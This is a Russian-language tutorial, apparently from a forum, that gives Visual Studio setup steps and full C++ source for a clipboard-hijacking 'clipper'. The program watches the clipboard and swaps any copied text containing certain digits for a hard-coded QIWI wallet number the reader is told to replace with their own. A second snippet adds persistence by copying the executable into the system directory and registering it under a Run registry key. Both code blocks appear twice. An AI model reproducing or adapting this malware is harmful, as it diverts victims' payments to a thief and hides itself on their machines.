Файл → Создать → Проект → Visual C++ → Проект Vin32 → Далее → Приложение и пустой проект Проект → Добавить новый элемент → Файл Cpp и задаем название Кидаем код Код #include <windows.h> #include <atomic> #include <string> #include <vector> #include <iostream> #include <memory> #include <algorithm> #include <conio.h> #include <winnt.h> using namespace std; auto get_clipboard_text() -> std::wstring { std::wstring return_value = L""; if (!OpenClipboard(nullptr)) { CloseClipboard(); return return_value; } HGLOBAL m_clipboard_data = GetClipboardData(CF_UNICODETEXT); if (m_clipboard_data == static_cast< HGLOBAL >(nullptr)) { CloseClipboard(); return return_value; } WCHAR* m_text = static_cast< WCHAR* >(GlobalLock(m_clipboard_data)); if (m_text == nullptr) { CloseClipboard(); return return_value; } return_value = m_text; if (!GlobalUnlock(m_clipboard_data)) return L""; CloseClipboard(); return return_value; } auto copy_text_to_clipboard(const char* text) -> void { if (OpenClipboard(nullptr)) { EmptyClipboard(); char* clip_data = (char*)(GlobalAlloc(GMEM_FIXED, MAX_PATH)); lstrcpyA(clip_data, text); SetClipboardData(CF_TEXT, static_cast< void* >(clip_data)); ULONG* ulong = static_cast< ULONG* >(GlobalAlloc(GMEM_FIXED, sizeof(ULONG))); *ulong = MAKELCID(MAKELANGID(LANG_RUSSIAN, SUBLANG_NEUTRAL), SORT_DEFAULT); SetClipboardData(CF_LOCALE, static_cast< void* >(ulong)); CloseClipboard(); } } auto main_clipper() -> void { auto buf = get_clipboard_text(); auto wallet_qiwi = "88005553535"; // Менять на Ваш номер if (buf.find(L"38") != std::wstring::npos) copy_text_to_clipboard(wallet_qiwi); else if (buf.find(L"7") != std::wstring::npos) copy_text_to_clipboard(wallet_qiwi); Sleep(100); return main_clipper(); } auto WINAPI WinMain(HMODULE, HMODULE, char*, int) -> BOOL { main_clipper(); _getch(); } Код #include <windows.h> #include <atomic> #include <string> #include <vector> #include <iostream> #include <memory> #include <algorithm> #include <conio.h> #include <winnt.h> using namespace std; auto get_clipboard_text() -> std::wstring { std::wstring return_value = L""; if (!OpenClipboard(nullptr)) { CloseClipboard(); return return_value; } HGLOBAL m_clipboard_data = GetClipboardData(CF_UNICODETEXT); if (m_clipboard_data == static_cast< HGLOBAL >(nullptr)) { CloseClipboard(); return return_value; } WCHAR* m_text = static_cast< WCHAR* >(GlobalLock(m_clipboard_data)); if (m_text == nullptr) { CloseClipboard(); return return_value; } return_value = m_text; if (!GlobalUnlock(m_clipboard_data)) return L""; CloseClipboard(); return return_value; } auto copy_text_to_clipboard(const char* text) -> void { if (OpenClipboard(nullptr)) { EmptyClipboard(); char* clip_data = (char*)(GlobalAlloc(GMEM_FIXED, MAX_PATH)); lstrcpyA(clip_data, text); SetClipboardData(CF_TEXT, static_cast< void* >(clip_data)); ULONG* ulong = static_cast< ULONG* >(GlobalAlloc(GMEM_FIXED, sizeof(ULONG))); *ulong = MAKELCID(MAKELANGID(LANG_RUSSIAN, SUBLANG_NEUTRAL), SORT_DEFAULT); SetClipboardData(CF_LOCALE, static_cast< void* >(ulong)); CloseClipboard(); } } auto main_clipper() -> void { auto buf = get_clipboard_text(); auto wallet_qiwi = "88005553535"; // Менять на Ваш номер if (buf.find(L"38") != std::wstring::npos) copy_text_to_clipboard(wallet_qiwi); else if (buf.find(L"7") != std::wstring::npos) copy_text_to_clipboard(wallet_qiwi); Sleep(100); return main_clipper(); } auto WINAPI WinMain(HMODULE, HMODULE, char*, int) -> BOOL { main_clipper(); _getch(); } Следом делаем код для автозагрузки клиппера Автозагрузка #include <windows.h> int main() { HKEY hk; char fullpath[1024], sysbuf[256]; GetModuleFileName(GetModuleHandle(NULL), fullpath, 1024); char* fname = strrchr(fullpath, '\\'); GetSystemDirectory(sysbuf, 256); strcat(sysbuf, fname); CopyFile(fullpath, sysbuf, false); RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk); RegSetValueEx(hk, "LOLZTEAM", 0, REG_SZ, (LPBYTE)sysbuf, strlen(sysbuf)); RegCloseKey(hk); return 0; } Код #include <windows.h> int main() { HKEY hk; char fullpath[1024], sysbuf[256]; GetModuleFileName(GetModuleHandle(NULL), fullpath, 1024); char* fname = strrchr(fullpath, '\\'); GetSystemDirectory(sysbuf, 256); strcat(sysbuf, fname); CopyFile(fullpath, sysbuf, false); RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk); RegSetValueEx(hk, "LOLZTEAM", 0, REG_SZ, (LPBYTE)sysbuf, strlen(sysbuf)); RegCloseKey(hk); return 0; }